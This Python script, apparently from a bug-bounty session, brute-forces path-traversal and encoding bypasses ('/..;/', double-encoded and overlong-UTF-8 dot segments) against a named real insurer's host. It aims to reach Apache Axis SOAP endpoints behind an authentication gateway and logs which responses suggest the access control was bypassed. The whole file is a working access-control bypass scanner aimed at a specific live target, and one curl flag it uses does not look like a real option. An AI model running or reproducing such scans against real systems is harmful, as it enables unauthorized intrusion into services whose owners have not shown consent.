#!/usr/bin/env python3
import subprocess,re,concurrent.futures,hashlib,json
origin='https://va.baloise.de'
targets=['SASBIWS/services/Version?wsdl','SASBIWS/servlet/AxisServlet','SASWIPSoapServices/services/ServiceRegistry?wsdl']
prefixes=['CSRFT759.js','error_path/img/favicon.ico','error_path/404.html','auth/ui/assets/custom/img/favicon.ico','auth/ui/assets/airlock/i18n/en.json']
# Each sequence is intended to climb from the public prefix depth to root. Extra parents are harmless after root in many backends.
forms=[
 '/../','/..;/','/%2e%2e/','/%2e%2e;/','/.%2e/','/%2e./','/.%252e/','/%252e./','/%252e%252e/',
 '/..%2f','/%2e%2e%2f','/..%5c','/%2e%2e%5c','/%2e%252e/','/%252e%2e/',
 '/%c0%ae%c0%ae/','/%e0%80%ae%e0%80%ae/','/%ef%bc%8e%ef%bc%8e/',
 '/.;/../','/x/..;/../','/;foo/..;/',';foo/../',';foo/..;/','%3f/../','%23/../','%2f../','%5c../',
]
def climb(prefix,form):
 depth=max(1,prefix.count('/')+1)
 if form in [';foo/../',';foo/..;/','%3f/../','%23/../','%2f../','%5c../']:
  return '/'+prefix + form*depth
 return '/'+prefix + form*depth
paths=[]
for pref in prefixes:
 for form in forms:
  base=climb(pref,form)
  for t in targets:
   paths.append(base+t)
# direct first-segment variations not tied to a public prefix
for t in targets:
 for lead in ['/./','/.;/','/%2e/','/%252e/','//','/%2f','/%252f','/%5c','/%255c','/x/../','/x/..;/','/x/%2e%2e/','/x/%252e%252e/']:
  paths.append(lead+t)
paths=list(dict.fromkeys(paths))
def one(path):
 cmd=['curl','--toadex-no-capture','-sk','--http1.1','--path-as-is','--connect-timeout','3','--max-time','10','-H','X-Bug-Bounty: dwbzn','-H','Accept: text/xml,application/xml,*/*','-D','-','-o','-','--url',origin+path]
 try:r=subprocess.run(cmd,capture_output=True,timeout=12)
 except subprocess.TimeoutExpired:return {'path':path,'status':'TIMEOUT'}
 raw=r.stdout
 ms=list(re.finditer(br'HTTP/\S+\s+(\d+)[^\r\n]*\r?\n',raw))
 if not ms:return {'path':path,'status':'ERR','stderr':r.stderr.decode('latin1','replace')[:200]}
 m=ms[-1];sep=raw.find(b'\r\n\r\n',m.start());sl=4
 if sep<0:sep=raw.find(b'\n\n',m.start());sl=2
 hdr=raw[m.start():sep].decode('latin1','replace');body=raw[sep+sl:]
 loc='';ct=''
 for line in hdr.splitlines():
  if line.lower().startswith('location:'):loc=line.split(':',1)[1].strip()
  if line.lower().startswith('content-type:'):ct=line.split(':',1)[1].strip()
 kws=sorted(set(x.decode().lower() for x in re.findall(br'(?i)AxisFault|Apache Axis|org\.apache\.axis|Server\.NoService|wsdl:definitions|soapenv:Fault|SAS Web|check-login',body)))
 return {'path':path,'status':m.group(1).decode(),'size':len(body),'ct':ct,'location':loc,'keywords':kws,'sha':hashlib.sha256(body).hexdigest()[:12]}
with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:
 rows=list(ex.map(one,paths))
with open('work/scratch/axis-path-bypass-all.jsonl','w') as f:
 for row in rows:f.write(json.dumps(row)+'\n')
interesting=[]
for row in rows:
 if row.get('status') not in ('303','400','404','ERR','TIMEOUT') or any(k!='check-login' for k in row.get('keywords',[])):
  interesting.append(row)
print('total',len(rows),'status_counts',end=' ')
from collections import Counter
print(dict(Counter(r.get('status') for r in rows)))
print('interesting',len(interesting))
for r in interesting:print(json.dumps(r))
# print compact non-303 signature distribution
c=Counter((r.get('status'),r.get('size'),r.get('sha'),tuple(r.get('keywords',[]))) for r in rows)
print('signatures')
for k,n in c.most_common():print(n,k)
